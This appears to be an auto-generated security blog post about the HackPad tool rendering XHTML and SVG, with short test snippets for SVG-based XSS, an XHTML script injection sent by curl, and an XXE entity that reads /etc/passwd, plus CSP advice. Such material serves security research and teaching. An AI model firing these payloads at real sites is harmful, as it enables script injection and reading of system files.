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HackPad has been enhanced to support rendering XHTML and SVG documents, making it a powerful tool for security researchers and developers. This update allows users to investigate SVG-based vulnerabilities and explore XHTML rendering behaviors.
🔗 Reference: Improved HackPad
You Should Know:
1. Investigating SVG Security Issues
SVG files can contain malicious scripts, making them a vector for XSS attacks. Below are some commands and techniques to analyze SVG files:
Extracting SVG Metadata
exiftool malicious.svg strings malicious.svg | grep -i "script|onload"
Testing SVG for XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg>
Automated SVG Analysis with Python
from bs4 import BeautifulSoup
with open("test.svg", "r") as f:
svg_content = f.read()
soup = BeautifulSoup(svg_content, 'xml')
scripts = soup.find_all('script')
print("Found scripts:", scripts)
2. XHTML Security Considerations
XHTML can introduce parsing quirks that lead to security flaws. Test with these methods:
Checking XHTML Parsing Differences
curl -X POST --data "<xhtml:script>alert(1)</xhtml:script>" http://test.site/xhtml-parser
Detecting XXE in XHTML
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <xhtml:div>&xxe;</xhtml:div>
3. Browser-Based SVG Exploitation
Modern browsers handle SVG differently. Test rendering quirks with:
Firefox SVG Execution
fetch('malicious.svg').then(res => res.text()).then(svg => {
document.body.innerHTML = svg;
});
Chrome SVG Sandbox Bypass (Historical)
<svg><iframe src="javascript:alert('XSS')"></iframe></svg>
What Undercode Say
The ability to render and save XHTML/SVG in HackPad opens new avenues for security research. Expect increased scrutiny on:
– SVG-based phishing (hidden payloads in images)
– XHTML parsing inconsistencies leading to DOM XSS
– Browser-specific SVG exploits (Chrome vs. Firefox quirks)
Security professionals should:
- Audit SVG uploads in web apps
- Monitor W3C updates on SVG/XHTML specs
- Use CSP to mitigate inline script risks
Example CSP header for SVG security Content-Security-Policy: default-src 'none'; script-src 'self'; object-src 'none'
Prediction
SVG and XHTML attacks will rise as more tools adopt rendering support. Researchers will uncover new exploitation techniques, especially in PDF generators and email clients.
Expected Output:
- SVG/XSS PoC
- XHTML parsing tests
- Browser-specific payloads
- Automated analysis scripts
IT/Security Reporter URL:
Reported By: Gareth Heyes – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
